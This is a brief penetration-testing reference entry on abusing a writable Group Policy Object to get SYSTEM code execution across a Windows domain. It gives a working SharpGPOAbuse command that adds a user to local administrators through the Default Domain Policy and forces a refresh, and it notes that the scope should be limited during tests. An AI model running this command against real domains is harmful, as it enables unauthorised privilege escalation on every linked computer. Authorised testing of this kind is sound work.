pentesting, updated
GPO abuse
Edit a Group Policy Object you control to push a scheduled task or script that executes as SYSTEM on every linked computer.
Goal
Turn write access to a GPO (found during GPO enumeration) into code execution on every computer it applies to.
How to test
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author corp\jdoe \
--Command "cmd.exe" --Arguments "/c net localgroup administrators corp\jdoe /add" \
--GPOName "Default Domain Policy"
# force the policy to refresh immediately rather than waiting for the normal interval:
gpupdate /force
What to look for
Successful addition of a new local administrator or scheduled task on every computer linked to the abused GPO — confirm scope first (OU links) to avoid an overly broad blast radius during testing.
Notes
Highly disruptive if the GPO applies broadly — scope the test to a single OU/test computer where possible rather than editing a domain-wide policy.